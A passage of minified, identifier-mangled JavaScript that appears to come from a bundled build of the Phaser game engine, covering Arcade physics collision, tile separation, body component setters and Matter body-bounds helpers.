_0xb85e7f['tileWidth'] * _0x37ddc5['scaleX'], _0x2b52ca = _0xbc09a8['height'] + _0xb85e7f['tileHeight'] * _0x37ddc5['scaleY'], _0x31ff94 = _0x546560 ? null : this['tileFilterOptions'], _0x2e9d66 = _0x57d2f9(_0x4cce87, _0x554cb9, _0x166ad3, _0x2b52ca, _0x31ff94, _0x37ddc5['scene']['cameras']['main'], _0x37ddc5['layer']); return 0x0 !== _0x2e9d66['length'] && this['collideSpriteVsTilesHandler'](_0x2ba1fb, _0x2e9d66, _0x4ccddb, _0x12f0d1, _0x3986eb, _0x546560, !0x0); }, 'collideSpriteVsTilesHandler': function (_0x358be7, _0xc4f696, _0x29383f, _0x4da171, _0x34c3b0, _0x109a07, _0x4d30e3) { for (var _0x117c4a, _0x5c4ee0, _0x2a8b36 = _0x358be7['isBody'] ? _0x358be7 : _0x358be7['body'], _0x28841d = { 'left': 0x0, 'right': 0x0, 'top': 0x0, 'bottom': 0x0 }, _0x55ff85 = !0x1, _0x3abd63 = 0x0; _0x3abd63 < _0xc4f696['length']; _0x3abd63++) { var _0x43f75f = (_0x5c4ee0 = (_0x117c4a = _0xc4f696[_0x3abd63])['tilemapLayer'])['tileToWorldXY'](_0x117c4a['x'], _0x117c4a['y']); _0x28841d['left'] = _0x43f75f['x'], _0x28841d['top'] = _0x43f75f['y'], _0x28841d['right'] = _0x28841d['left'] + _0x117c4a['width'] * _0x5c4ee0['scaleX'], _0x28841d['bottom'] = _0x28841d['top'] + _0x117c4a['height'] * _0x5c4ee0['scaleY'], _0xf46eaa(_0x28841d, _0x2a8b36) && (!_0x4da171 || _0x4da171['call'](_0x34c3b0, _0x358be7, _0x117c4a)) && _0x41fb4e(_0x117c4a, _0x358be7) && (_0x109a07 || _0x50d544(_0x3abd63, _0x2a8b36, _0x117c4a, _0x28841d, _0x5c4ee0, this['TILE_BIAS'], _0x4d30e3)) && (this['_total']++, _0x55ff85 = !0x0, _0x29383f && _0x29383f['call'](_0x34c3b0, _0x358be7, _0x117c4a), _0x109a07 && _0x2a8b36['onOverlap'] ? this['emit'](_0x1e131f['TILE_OVERLAP'], _0x358be7, _0x117c4a, _0x2a8b36) : _0x2a8b36['onCollide'] && this['emit'](_0x1e131f['TILE_COLLIDE'], _0x358be7, _0x117c4a, _0x2a8b36)); } return _0x55ff85; }, 'collideGroupVsGroup': function (_0x5dafee, _0x2da79b, _0x35fb82, _0xb79a2c, _0x3092b1, _0x4abf2e) { if (0x0 !== _0x5dafee['getLength']() && 0x0 !== _0x2da79b['getLength']() && this['canCollide'](_0x5dafee, _0x2da79b)) { for (var _0x2d647f = _0x5dafee['getChildren'](), _0x198fea = 0x0; _0x198fea < _0x2d647f['length']; _0x198fea++)this['collideSpriteVsGroup'](_0x2d647f[_0x198fea], _0x2da79b, _0x35fb82, _0xb79a2c, _0x3092b1, _0x4abf2e); } }, 'wrap': function (_0x5774d7, _0x37e704) { _0x5774d7['body'] ? this['wrapObject'](_0x5774d7, _0x37e704) : _0x5774d7['getChildren'] ? this['wrapArray'](_0x5774d7['getChildren'](), _0x37e704) : Array['isArray'](_0x5774d7) ? this['wrapArray'](_0x5774d7, _0x37e704) : this['wrapObject'](_0x5774d7, _0x37e704); }, 'wrapArray': function (_0x4781e0, _0x2c7677) { for (var _0x442a15 = 0x0; _0x442a15 < _0x4781e0['length']; _0x442a15++)this['wrapObject'](_0x4781e0[_0x442a15], _0x2c7677); }, 'wrapObject': function (_0x33c8ae, _0x13e62f) { void 0x0 === _0x13e62f && (_0x13e62f = 0x0), _0x33c8ae['x'] = _0x42dac2(_0x33c8ae['x'], this['bounds']['left'] - _0x13e62f, this['bounds']['right'] + _0x13e62f), _0x33c8ae['y'] = _0x42dac2(_0x33c8ae['y'], this['bounds']['top'] - _0x13e62f, this['bounds']['bottom'] + _0x13e62f); }, 'shutdown': function () { this['tree']['clear'](), this['staticTree']['clear'](), this['bodies']['clear'](), this['staticBodies']['clear'](), this['colliders']['destroy'](), this['removeAllListeners'](); }, 'destroy': function () { this['shutdown'](), this['scene'] = null, this['debugGraphic'] && (this['debugGraphic']['destroy'](), this['debugGraphic'] = null); } }); _0x53fcae['exports'] = _0x103a2d; }, 0x445: _0x2e37bc => { _0x2e37bc['exports'] = { 'setAcceleration': function (_0x4c85ce, _0x5612b9) { return this['body']['acceleration']['set'](_0x4c85ce, _0x5612b9), this; }, 'setAccelerationX': function (_0x54678a) { return this['body']['acceleration']['x'] = _0x54678a, this; }, 'setAccelerationY': function (_0x525b4b) { return this['body']['acceleration']['y'] = _0x525b4b, this; } }; }, 0xe68f: _0x21c179 => { _0x21c179['exports'] = { 'setAngularVelocity': function (_0x84f3fd) { return this['body']['angularVelocity'] = _0x84f3fd, this; }, 'setAngularAcceleration': function (_0x3d0642) { return this['body']['angularAcceleration'] = _0x3d0642, this; }, 'setAngularDrag': function (_0x37a595) { return this['body']['angularDrag'] = _0x37a595, this; } }; }, 0xf275: _0x439dea => { _0x439dea['exports'] = { 'setBounce': function (_0xc19872, _0x3fb063) { return this['body']['bounce']['set'](_0xc19872, _0x3fb063), this; }, 'setBounceX': function (_0x1116c7) { return this['body']['bounce']['x'] = _0x1116c7, this; }, 'setBounceY': function (_0x23f5ec) { return this['body']['bounce']['y'] = _0x23f5ec, this; }, 'setCollideWorldBounds': function (_0x1a6ac2, _0x545825, _0x4b74db, _0x521404) { return this['body']['setCollideWorldBounds'](_0x1a6ac2, _0x545825, _0x4b74db, _0x521404), this; } }; }, 0x13235: (_0x56e326, _0x4362ff, _0x8a7fe6) => { var _0x59b6da = _0x8a7fe6(0x136ef), _0x185694 = { 'setCollisionCategory': function (_0x1be0e9) { return (this['body'] ? this['body'] : this)['collisionCategory'] = _0x1be0e9, this; }, 'willCollideWith': function (_0x4717d9) { return 0x0 != ((this['body'] ? this['body'] : this)['collisionMask'] & _0x4717d9); }, 'addCollidesWith': function (_0x430720) { var _0x5e16bb = this['body'] ? this['body'] : this; return _0x5e16bb['collisionMask'] = _0x5e16bb['collisionMask'] | _0x430720, this; }, 'removeCollidesWith': function (_0x36c16b) { var _0x4d88c3 = this['body'] ? this['body'] : this; return _0x4d88c3['collisionMask'] = _0x4d88c3['collisionMask'] & ~_0x36c16b, this; }, 'setCollidesWith': function (_0x135e9c) { return (this['body'] ? this['body'] : this)['collisionMask'] = _0x59b6da(_0x135e9c), this; }, 'resetCollisionCategory': function () { var _0x12cd9f = this['body'] ? this['body'] : this; return _0x12cd9f['collisionCategory'] = 0x1, _0x12cd9f['collisionMask'] = 0x7fffffff, this; } }; _0x56e326['exports'] = _0x185694; }, 0x1544e: _0x12d0c5 => { _0x12d0c5['exports'] = { 'setDebug': function (_0x33b218, _0x2e5883, _0xbe0f72) { return this['debugShowBody'] = _0x33b218, this['debugShowVelocity'] = _0x2e5883, this['debugBodyColor'] = _0xbe0f72, this; }, 'setDebugBodyColor': function (_0x1c8a5e) { return this['body']['debugBodyColor'] = _0x1c8a5e, this; }, 'debugShowBody': { 'get': function () { return this['body']['debugShowBody']; }, 'set': function (_0x54bb6a) { this['body']['debugShowBody'] = _0x54bb6a; } }, 'debugShowVelocity': { 'get': function () { return this['body']['debugShowVelocity']; }, 'set': function (_0x1ec96e) { this['body']['debugShowVelocity'] = _0x1ec96e; } }, 'debugBodyColor': { 'get': function () { return this['body']['debugBodyColor']; }, 'set': function (_0x22fa6a) { this['body']['debugBodyColor'] = _0x22fa6a; } } }; }, 0xce53: _0x5ba9d1 => { _0x5ba9d1['exports'] = { 'setDrag': function (_0x37fd4e, _0xb4718d) { return this['body']['drag']['set'](_0x37fd4e, _0xb4718d), this; }, 'setDragX': function (_0x42730c) { return this['body']['drag']['x'] = _0x42730c, this; }, 'setDragY': function (_0x13cbdf) { return this['body']['drag']['y'] = _0x13cbdf, this; }, 'setDamping': function (_0x28765b) { return this['body']['useDamping'] = _0x28765b, this; } }; }, 0xfea: _0x410f7a => { var _0x435b8b = { 'setDirectControl': function (_0x365cb8) { return this['body']['setDirectControl'](_0x365cb8), this; }, 'enableBody': function (_0x34759a, _0x542a6f, _0x19bfdb, _0x17cab3, _0x582e1e) { return _0x34759a && this['body']['reset'](_0x542a6f, _0x19bfdb), _0x17cab3 && (this['body']['gameObject']['active'] = !0x0), _0x582e1e && (this['body']['gameObject']['visible'] = !0x0), this['body']['enable'] = !0x0, this; }, 'disableBody': function (_0x4ba86b, _0x7a248c) { return void 0x0 === _0x4ba86b && (_0x4ba86b = !0x1), void 0x0 === _0x7a248c && (_0x7a248c = !0x1), this['body']['stop'](), this['body']['enable'] = !0x1, _0x4ba86b && (this['body']['gameObject']['active'] = !0x1), _0x7a248c && (this['body']['gameObject']['visible'] = !0x1), this; }, 'refreshBody': function () { return this['body']['updateFromGameObject'](), this; } }; _0x410f7a['exports'] = _0x435b8b; }, 0x9f7f: _0x4ca886 => { _0x4ca886['exports'] = { 'setFriction': function (_0x7a2beb, _0xdfc613) { return this['body']['friction']['set'](_0x7a2beb, _0xdfc613), this; }, 'setFrictionX': function (_0x46a41e) { return this['body']['friction']['x'] = _0x46a41e, this; }, 'setFrictionY': function (_0x4d5568) { return this['body']['friction']['y'] = _0x4d5568, this; } }; }, 0x6897: _0x32d1b5 => { _0x32d1b5['exports'] = { 'setGravity': function (_0x40646c, _0xa4f682) { return this['body']['gravity']['set'](_0x40646c, _0xa4f682), this; }, 'setGravityX': function (_0x43a54f) { return this['body']['gravity']['x'] = _0x43a54f, this; }, 'setGravityY': function (_0x2bd65d) { return this['body']['gravity']['y'] = _0x2bd65d, this; } }; }, 0x24dd: _0x316692 => { var _0x3d407b = { 'setImmovable': function (_0x4d4eea) { return void 0x0 === _0x4d4eea && (_0x4d4eea = !0x0), this['body']['immovable'] = _0x4d4eea, this; } }; _0x316692['exports'] = _0x3d407b; }, 0x779d: _0x2e51f8 => { _0x2e51f8['exports'] = { 'setMass': function (_0x5532a5) { return this['body']['mass'] = _0x5532a5, this; } }; }, 0x11af9: (_0x5a374e, _0x4b5ddd, _0x149d26) => { var _0x2c59ae = _0x149d26(0xbb54), _0xfa48ba = _0x149d26(0x178f7), _0x473d3d = _0x149d26(0x7fc), _0x1eab95 = _0x149d26(0x13e53); _0x5a374e['exports'] = function (_0xcba48c, _0x60d8b3, _0x25143e, _0x58ea85, _0x15b458, _0x17ccda) { var _0x5e0cf6 = _0x2c59ae(_0xcba48c, _0x60d8b3 - _0x58ea85, _0x25143e - _0x58ea85, 0x2 * _0x58ea85, 0x2 * _0x58ea85, _0x15b458, _0x17ccda); if (0x0 === _0x5e0cf6['length']) return _0x5e0cf6; for (var _0x478466 = new _0xfa48ba(_0x60d8b3, _0x25143e, _0x58ea85), _0x5287f0 = new _0xfa48ba(), _0x11c3ed = [], _0x546795 = 0x0; _0x546795 < _0x5e0cf6['length']; _0x546795++) { var _0x56cdef = _0x5e0cf6[_0x546795]; _0x56cdef['isCircle'] ? (_0x5287f0['setTo'](_0x56cdef['center']['x'], _0x56cdef['center']['y'], _0x56cdef['halfWidth']), _0x473d3d(_0x478466, _0x5287f0) && _0x11c3ed['push'](_0x56cdef)) : _0x1eab95(_0x478466, _0x56cdef) && _0x11c3ed['push'](_0x56cdef); } return _0x11c3ed; }; }, 0xbb54: _0x279c1f => { _0x279c1f['exports'] = function (_0x3f7039, _0x547ceb, _0x5e639d, _0x44ed57, _0x2d8154, _0x188a35, _0x59941f) { void 0x0 === _0x188a35 && (_0x188a35 = !0x0), void 0x0 === _0x59941f && (_0x59941f = !0x1); var _0x17d1e1 = [], _0x11ec0f = [], _0x23170f = _0x3f7039['treeMinMax']; if (_0x23170f['minX'] = _0x547ceb, _0x23170f['minY'] = _0x5e639d, _0x23170f['maxX'] = _0x547ceb + _0x44ed57, _0x23170f['maxY'] = _0x5e639d + _0x2d8154, _0x59941f && (_0x11ec0f = _0x3f7039['staticTree']['search'](_0x23170f)), _0x188a35 && _0x3f7039['useTree']) _0x17d1e1 = _0x3f7039['tree']['search'](_0x23170f); else { if (_0x188a35) { var _0x2de9df = _0x3f7039['bodies'], _0x58cf5a = { 'position': { 'x': _0x547ceb, 'y': _0x5e639d }, 'left': _0x547ceb, 'top': _0x5e639d, 'right': _0x547ceb + _0x44ed57, 'bottom': _0x5e639d + _0x2d8154, 'isCircle': !0x1 }, _0x16516f = _0x3f7039['intersects']; _0x2de9df['iterate'](function (_0x67e403) { _0x16516f(_0x67e403, _0x58cf5a) && _0x17d1e1['push'](_0x67e403); }); } } return _0x11ec0f['concat'](_0x17d1e1); }; }, 0xf2a9: _0x1fd2c7 => { var _0x51722d = { 'setPushable': function (_0x17f07b) { return void 0x0 === _0x17f07b && (_0x17f07b = !0x0), this['body']['pushable'] = _0x17f07b, this; } }; _0x1fd2c7['exports'] = _0x51722d; }, 0x72c8: _0x3a47a3 => { _0x3a47a3['exports'] = { 'setOffset': function (_0x148a0e, _0x50be31) { return this['body']['setOffset'](_0x148a0e, _0x50be31), this; }, 'setSize': function (_0x2ef8e3, _0x436201, _0x5409c0) { return this['body']['setSize'](_0x2ef8e3, _0x436201, _0x5409c0), this; }, 'setBodySize': function (_0x5459f9, _0xe5eace, _0x128fd6) { return this['body']['setSize'](_0x5459f9, _0xe5eace, _0x128fd6), this; }, 'setCircle': function (_0x126aba, _0x278253, _0x6e6312) { return this['body']['setCircle'](_0x126aba, _0x278253, _0x6e6312), this; } }; }, 0x3afa: _0x6097c3 => { _0x6097c3['exports'] = { 'setVelocity': function (_0xb51f8f, _0x5ea74b) { return this['body']['setVelocity'](_0xb51f8f, _0x5ea74b), this; }, 'setVelocityX': function (_0x376f66) { return this['body']['setVelocityX'](_0x376f66), this; }, 'setVelocityY': function (_0x4cbdfb) { return this['body']['setVelocityY'](_0x4cbdfb), this; }, 'setMaxVelocity': function (_0xe3a38, _0x4de9ce) { return this['body']['maxVelocity']['set'](_0xe3a38, _0x4de9ce), this; } }; }, 0x16831: (_0xa5a2be, _0x27785d, _0x5fe256) => { _0xa5a2be['exports'] = { 'Acceleration': _0x5fe256(0x445), 'Angular': _0x5fe256(0xe68f), 'Bounce': _0x5fe256(0xf275), 'Collision': _0x5fe256(0x13235), 'Debug': _0x5fe256(0x1544e), 'Drag': _0x5fe256(0xce53), 'Enable': _0x5fe256(0xfea), 'Friction': _0x5fe256(0x9f7f), 'Gravity': _0x5fe256(0x6897), 'Immovable': _0x5fe256(0x24dd), 'Mass': _0x5fe256(0x779d), 'OverlapCirc': _0x5fe256(0x11af9), 'OverlapRect': _0x5fe256(0xbb54), 'Pushable': _0x5fe256(0xf2a9), 'Size': _0x5fe256(0x72c8), 'Velocity': _0x5fe256(0x3afa) }; }, 0x9373: _0x594e38 => { _0x594e38['exports'] = { 'DYNAMIC_BODY': 0x0, 'STATIC_BODY': 0x1, 'GROUP': 0x2, 'TILEMAPLAYER': 0x3, 'FACING_NONE': 0xa, 'FACING_UP': 0xb, 'FACING_DOWN': 0xc, 'FACING_LEFT': 0xd, 'FACING_RIGHT': 0xe }; }, 0x4e29: _0x38197e => { _0x38197e['exports'] = 'collide'; }, 0x8fa0: _0x361277 => { _0x361277['exports'] = 'overlap'; }, 0xec39: _0x4bdbb7 => { _0x4bdbb7['exports'] = 'pause'; }, 0x15f62: _0x3395d7 => { _0x3395d7['exports'] = 'resume'; }, 0xf16c: _0x118152 => { _0x118152['exports'] = 'tilecollide'; }, 0x1bf9: _0x3864d9 => { _0x3864d9['exports'] = 'tileoverlap'; }, 0x8781: _0x4bc1c1 => { _0x4bc1c1['exports'] = 'worldbounds'; }, 0x3e86: _0x58e484 => { _0x58e484['exports'] = 'worldstep'; }, 0xf624: (_0x3f58fa, _0x352fb1, _0x492775) => { _0x3f58fa['exports'] = { 'COLLIDE': _0x492775(0x4e29), 'OVERLAP': _0x492775(0x8fa0), 'PAUSE': _0x492775(0xec39), 'RESUME': _0x492775(0x15f62), 'TILE_COLLIDE': _0x492775(0xf16c), 'TILE_OVERLAP': _0x492775(0x1bf9), 'WORLD_BOUNDS': _0x492775(0x8781), 'WORLD_STEP': _0x492775(0x3e86) }; }, 0x69b8: (_0x51fe78, _0x585d97, _0x428e8c) => { var _0x87f646 = _0x428e8c(0x9373), _0x5a1080 = _0x428e8c(0x135bb), _0x3a57b6 = { 'ArcadePhysics': _0x428e8c(0x152a1), 'Body': _0x428e8c(0x936e), 'Collider': _0x428e8c(0x135ee), 'Components': _0x428e8c(0x16831), 'Events': _0x428e8c(0xf624), 'Factory': _0x428e8c(0x101e6), 'GetCollidesWith': _0x428e8c(0x136ef), 'GetOverlapX': _0x428e8c(0xfd81), 'GetOverlapY': _0x428e8c(0xb072), 'SeparateX': _0x428e8c(0x3707), 'SeparateY': _0x428e8c(0x15f50), 'Group': _0x428e8c(0xed56), 'Image': _0x428e8c(0x11679), 'Sprite': _0x428e8c(0x35bf), 'StaticBody': _0x428e8c(0x11bb0), 'StaticGroup': _0x428e8c(0x11728), 'Tilemap': _0x428e8c(0xd785), 'World': _0x428e8c(0x14148) }; _0x3a57b6 = _0x5a1080(!0x1, _0x3a57b6, _0x87f646), _0x51fe78['exports'] = _0x3a57b6; }, 0x1795a: _0x533025 => { _0x533025['exports'] = function (_0x2a1fc4, _0x53e122) { return _0x2a1fc4['collisionCallback'] ? !_0x2a1fc4['collisionCallback']['call'](_0x2a1fc4['collisionCallbackContext'], _0x53e122, _0x2a1fc4) : !_0x2a1fc4['layer']['callbacks'][_0x2a1fc4['index']] || !_0x2a1fc4['layer']['callbacks'][_0x2a1fc4['index']]['callback']['call'](_0x2a1fc4['layer']['callbacks'][_0x2a1fc4['index']]['callbackContext'], _0x53e122, _0x2a1fc4); }; }, 0x8dc6: _0x4ef18c => { _0x4ef18c['exports'] = function (_0x223278, _0x29078e) { _0x29078e < 0x0 ? (_0x223278['blocked']['none'] = !0x1, _0x223278['blocked']['left'] = !0x0) : _0x29078e > 0x0 && (_0x223278['blocked']['none'] = !0x1, _0x223278['blocked']['right'] = !0x0), _0x223278['position']['x'] -= _0x29078e, _0x223278['updateCenter'](), 0x0 === _0x223278['bounce']['x'] ? _0x223278['velocity']['x'] = 0x0 : _0x223278['velocity']['x'] = -_0x223278['velocity']['x'] * _0x223278['bounce']['x']; }; }, 0x105c5: _0x3a371d => { _0x3a371d['exports'] = function (_0x285394, _0x22a5c2) { _0x22a5c2 < 0x0 ? (_0x285394['blocked']['none'] = !0x1, _0x285394['blocked']['up'] = !0x0) : _0x22a5c2 > 0x0 && (_0x285394['blocked']['none'] = !0x1, _0x285394['blocked']['down'] = !0x0), _0x285394['position']['y'] -= _0x22a5c2, _0x285394['updateCenter'](), 0x0 === _0x285394['bounce']['y'] ? _0x285394['velocity']['y'] = 0x0 : _0x285394['velocity']['y'] = -_0x285394['velocity']['y'] * _0x285394['bounce']['y']; }; }, 0x9c4c: (_0x41dae5, _0x27c2b5, _0xcb35a1) => { var _0x1a1aaa = _0xcb35a1(0x5351), _0x136333 = _0xcb35a1(0xd0c2), _0x41bae8 = _0xcb35a1(0x9b3); _0x41dae5['exports'] = function (_0x120847, _0x4c1dd7, _0x1f9e9d, _0x4fa3b5, _0x2e0e37, _0x31f6b9, _0x361f84) { var _0x4f8a82 = _0x4fa3b5['left'], _0x4039d7 = _0x4fa3b5['top'], _0x17027f = _0x4fa3b5['right'], _0x59124b = _0x4fa3b5['bottom'], _0x3638b8 = _0x1f9e9d['faceLeft'] || _0x1f9e9d['faceRight'], _0x5c179e = _0x1f9e9d['faceTop'] || _0x1f9e9d['faceBottom']; if (_0x361f84 || (_0x3638b8 = !0x0, _0x5c179e = !0x0), !_0x3638b8 && !_0x5c179e) return !0x1; var _0x430bf6 = 0x0, _0x1401e0 = 0x0, _0x136dbf = 0x0, _0x489874 = 0x1; if (_0x4c1dd7['deltaAbsX']() > _0x4c1dd7['deltaAbsY']() ? _0x136dbf = -0x1 : _0x4c1dd7['deltaAbsX']() < _0x4c1dd7['deltaAbsY']() && (_0x489874 = -0x1), 0x0 !== _0x4c1dd7['deltaX']() && 0x0 !== _0x4c1dd7['deltaY']() && _0x3638b8 && _0x5c179e && (_0x136dbf = Math['min'](Math['abs'](_0x4c1dd7['position']['x'] - _0x17027f), Math['abs'](_0x4c1dd7['right'] - _0x4f8a82)), _0x489874 = Math['min'](Math['abs'](_0x4c1dd7['position']['y'] - _0x59124b), Math['abs'](_0x4c1dd7['bottom'] - _0x4039d7))), _0x136dbf < _0x489874) { if (_0x3638b8 && 0x0 !== (_0x430bf6 = _0x1a1aaa(_0x4c1dd7, _0x1f9e9d, _0x4f8a82, _0x17027f, _0x31f6b9, _0x361f84)) && !_0x41bae8(_0x4fa3b5, _0x4c1dd7)) return !0x0; _0x5c179e && (_0x1401e0 = _0x136333(_0x4c1dd7, _0x1f9e9d, _0x4039d7, _0x59124b, _0x31f6b9, _0x361f84)); } else { if (_0x5c179e && 0x0 !== (_0x1401e0 = _0x136333(_0x4c1dd7, _0x1f9e9d, _0x4039d7, _0x59124b, _0x31f6b9, _0x361f84)) && !_0x41bae8(_0x4fa3b5, _0x4c1dd7)) return !0x0; _0x3638b8 && (_0x430bf6 = _0x1a1aaa(_0x4c1dd7, _0x1f9e9d, _0x4f8a82, _0x17027f, _0x31f6b9, _0x361f84)); } return 0x0 !== _0x430bf6 || 0x0 !== _0x1401e0; }; }, 0x5351: (_0x4a0600, _0x246c1c, _0x13bcfa) => { var _0x1465f9 = _0x13bcfa(0x8dc6); _0x4a0600['exports'] = function (_0x432929, _0x280fe4, _0x150e82, _0x9581a0, _0x43617f, _0x4679e6) { var _0x3693a4 = 0x0, _0x1f280e = _0x280fe4['faceLeft'], _0xa670e1 = _0x280fe4['faceRight'], _0xd8d512 = _0x280fe4['collideLeft'], _0x3dae5f = _0x280fe4['collideRight']; return _0x4679e6 || (_0x1f280e = !0x0, _0xa670e1 = !0x0, _0xd8d512 = !0x0, _0x3dae5f = !0x0), _0x432929['deltaX']() < 0x0 && _0x3dae5f && _0x432929['checkCollision']['left'] ? _0xa670e1 && _0x432929['x'] < _0x9581a0 && (_0x3693a4 = _0x432929['x'] - _0x9581a0) < -_0x43617f && (_0x3693a4 = 0x0) : _0x432929['deltaX']() > 0x0 && _0xd8d512 && _0x432929['checkCollision']['right'] && _0x1f280e && _0x432929['right'] > _0x150e82 && (_0x3693a4 = _0x432929['right'] - _0x150e82) > _0x43617f && (_0x3693a4 = 0x0), 0x0 !== _0x3693a4 && (_0x432929['customSeparateX'] ? _0x432929['overlapX'] = _0x3693a4 : _0x1465f9(_0x432929, _0x3693a4)), _0x3693a4; }; }, 0xd0c2: (_0x197085, _0x2828e6, _0x581186) => { var _0x37908d = _0x581186(0x105c5); _0x197085['exports'] = function (_0x4d4fe5, _0x14f67f, _0x71541e, _0xeae6a, _0x337d02, _0x18d565) { var _0x1f195b = 0x0, _0x4bfa3a = _0x14f67f['faceTop'], _0x3a2f06 = _0x14f67f['faceBottom'], _0x31b405 = _0x14f67f['collideUp'], _0x15925e = _0x14f67f['collideDown']; return _0x18d565 || (_0x4bfa3a = !0x0, _0x3a2f06 = !0x0, _0x31b405 = !0x0, _0x15925e = !0x0), _0x4d4fe5['deltaY']() < 0x0 && _0x15925e && _0x4d4fe5['checkCollision']['up'] ? _0x3a2f06 && _0x4d4fe5['y'] < _0xeae6a && (_0x1f195b = _0x4d4fe5['y'] - _0xeae6a) < -_0x337d02 && (_0x1f195b = 0x0) : _0x4d4fe5['deltaY']() > 0x0 && _0x31b405 && _0x4d4fe5['checkCollision']['down'] && _0x4bfa3a && _0x4d4fe5['bottom'] > _0x71541e && (_0x1f195b = _0x4d4fe5['bottom'] - _0x71541e) > _0x337d02 && (_0x1f195b = 0x0), 0x0 !== _0x1f195b && (_0x4d4fe5['customSeparateY'] ? _0x4d4fe5['overlapY'] = _0x1f195b : _0x37908d(_0x4d4fe5, _0x1f195b)), _0x1f195b; }; }, 0x9b3: _0x4cec21 => { _0x4cec21['exports'] = function (_0x3dd2ad, _0x9666dc) { return !(_0x9666dc['right'] <= _0x3dd2ad['left'] || _0x9666dc['bottom'] <= _0x3dd2ad['top'] || _0x9666dc['position']['x'] >= _0x3dd2ad['right'] || _0x9666dc['position']['y'] >= _0x3dd2ad['bottom']); }; }, 0xd785: (_0x269aba, _0x206250, _0x1f2739) => { var _0x4b2222 = { 'ProcessTileCallbacks': _0x1f2739(0x1795a), 'ProcessTileSeparationX': _0x1f2739(0x8dc6), 'ProcessTileSeparationY': _0x1f2739(0x105c5), 'SeparateTile': _0x1f2739(0x9c4c), 'TileCheckX': _0x1f2739(0x5351), 'TileCheckY': _0x1f2739(0xd0c2), 'TileIntersectsBody': _0x1f2739(0x9b3) }; _0x269aba['exports'] = _0x4b2222; }, 0xae13: (_0x4a15f5, _0x8e5d16, _0x281eca) => { _0x4a15f5['exports'] = { 'Arcade': _0x281eca(0x69b8), 'Matter': _0x281eca(0xf23) }; }, 0x10a4e: (_0x4b94be, _0x10a7ac, _0xf321dc) => { var _0x4e8c61 = _0xf321dc(0x145db), _0x34cd8e = _0xf321dc(0x65f3), _0x2d9908 = new _0x4e8c61({ 'initialize': function () { this['boundsCenter'] = new _0x34cd8e(), this['centerDiff'] = new _0x34cd8e(); }, 'parseBody': function (_0x1df975) { if (!(_0x1df975 = _0x1df975['hasOwnProperty']('body') ? _0x1df975['body'] : _0x1df975)['hasOwnProperty']('bounds') || !_0x1df975['hasOwnProperty']('centerOfMass')) return !0x1; var _0xebe050 = this['boundsCenter'], _0xa4f996 = this['centerDiff'], _0x10cb7b = _0x1df975['bounds']['max']['x'] - _0x1df975['bounds']['min']['x'], _0x3930e8 = _0x1df975['bounds']['max']['y'] - _0x1df975['bounds']['min']['y'], _0x1c274f = _0x10cb7b * _0x1df975['centerOfMass']['x'], _0x26e4d6 = _0x3930e8 * _0x1df975['centerOfMass']['y']; return _0xebe050['set'](_0x10cb7b / 0x2, _0x3930e8 / 0x2), _0xa4f996['set'](_0x1c274f - _0xebe050['x'], _0x26e4d6 - _0xebe050['y']), !0x0; }, 'getTopLeft': function (_0x5370c4, _0x29aa42, _0x61ab6a) { if (void 0x0 === _0x29aa42 && (_0x29aa42 = 0x0), void 0x0 === _0x61ab6a && (_0x61ab6a = 0x0), this['parseBody'](_0x5370c4)) { var _0x4f9d6b = this['boundsCenter'], _0x1ffdb4 = this['centerDiff']; return new _0x34cd8e(_0x29aa42 + _0x4f9d6b['x'] + _0x1ffdb4['x'], _0x61ab6a + _0x4f9d6b['y'] + _0x1ffdb4['y']); } return !0x1; }, 'getTopCenter': function (_0x5ee99f, _0x36757e, _0x8de0c7) { if (void 0x0 === _0x36757e && (_0x36757e = 0x0), void 0x0 === _0x8de0c7 && (_0x8de0c7 = 0x0), this['parseBody'](_0x5ee99f)) { var _0x515453 = this['boundsCenter'], _0x3e74b5 = this['centerDiff']; return new _0x34cd8e(_0x36757e + _0x3e74b5['x'], _0x8de0c7 + _0x515453['y'] + _0x3e74b5['y']); } return !0x1; }, 'getTopRight': function (_0x438da9, _0x18d200, _0x51ab26) { if (void 0x0 === _0x18d200 && (_0x18d200 = 0x0), void 0x0 === _0x51ab26 && (_0x51ab26 = 0x0), this['parseBody'](_0x438da9)) { var _0xb29bb1 = this['boundsCenter'], _0x3811f7 = this['centerDiff']; return new _0x34cd8e(_0x18d200 - (_0xb29bb1['x'] - _0x3811f7['x']), _0x51ab26 + _0xb29bb1['y'] + _0x3811f7['y']); } return !0x1; }, 'getLeftCenter': function (_0x2e22c2, _0x5442c8, _0x12dc6a) { if (void 0x0 === _0x5442c8 && (_0x5442c8 = 0x0), void 0x0 === _0x12dc6a && (_0x12dc6a = 0x0), this['parseBody'](_0x2e22c2)) { var _0x26965 = this['boundsCenter'], _0x355527 = this['centerDiff']; return new _0x34cd8e(_0x5442c8 + _0x26965['x'] + _0x355527['x'], _0x12dc6a + _0x355527['y']); } return !0x1; }, 'getCenter': function (_0x3392cb, _0x1469f1, _0x6a1762) { if (void 0x0 === _0x1469f1 && (_0x1469f1 = 0x0), void 0x0 === _0x6a1762 && (_0x6a1762 = 0x0), this['parseBody'](_0x3392cb)) { var _0x45c95c = this['centerDiff']; return new _0x34cd8e(_0x1469f1 + _0x45c95c['x'], _0x6a1762 + _0x45c95c['y']); } return !0x1; }, 'getRightCenter': function (_0x4b9073, _0x1a3169, _0x20c5a3) { if (void 0x0 === _0x1a3169 && (_0x1a3169 = 0x0), void 0x0 === _0x20c5a3 && (_0x20c5a3 = 0x0), this['parseBody'](_0x4b9073)) { var _0x34b6b8 = this['boundsCenter'], _0x3199af = this['centerDiff']; return new _0x34cd8e(_0x1a3169 - (_0x34b6b8['x'] - _0x3199af['x']), _0x20c5a3 + _0x3199af['y']); } return !0x1; }, 'getBottomLeft': function (_0x477bd7, _0x1a36ed, _0x5c2b0a) { if (void 0x0 === _0x1a36ed && (_0x1a36ed = 0x0), void 0x0 === _0x5c2b0a && (_0x5c2b0a = 0x0), this['parseBody'](_0x477bd7)) { var _0x32bb6a = this['boundsCenter'], _0x49757b = this['centerDiff']; return new _0x34cd8e(_0x1a36ed + _0x32bb6a['x'] + _0x49757b['x'], _0x5c2b0a - (_0x32bb6a['y'] - _0x49757b['y'])); } return !0x1; }, 'getBottomCenter': function (_0x35e956, _0x3d5f12, _0x4fbdc6) { if (void 0x0 === _0x3d5f12 && (_0x3d5f12 = 0x0), void 0x0 === _0x4fbdc6 && (_0x4fbdc6 = 0x0), this['parseBody'](_0x35e956)) { var _0x4a9d6e = this['boundsCenter'], _0xca7ded = this['centerDiff']; return new _0x34cd8e(_0x3d5f12 + _0xca7ded['x'], _0x4fbdc6 - (_0x4a9d6e['y'] - _0xca7ded['y'])); } return !0x1; }, 'getBottomRight': function (_0x1064dc, 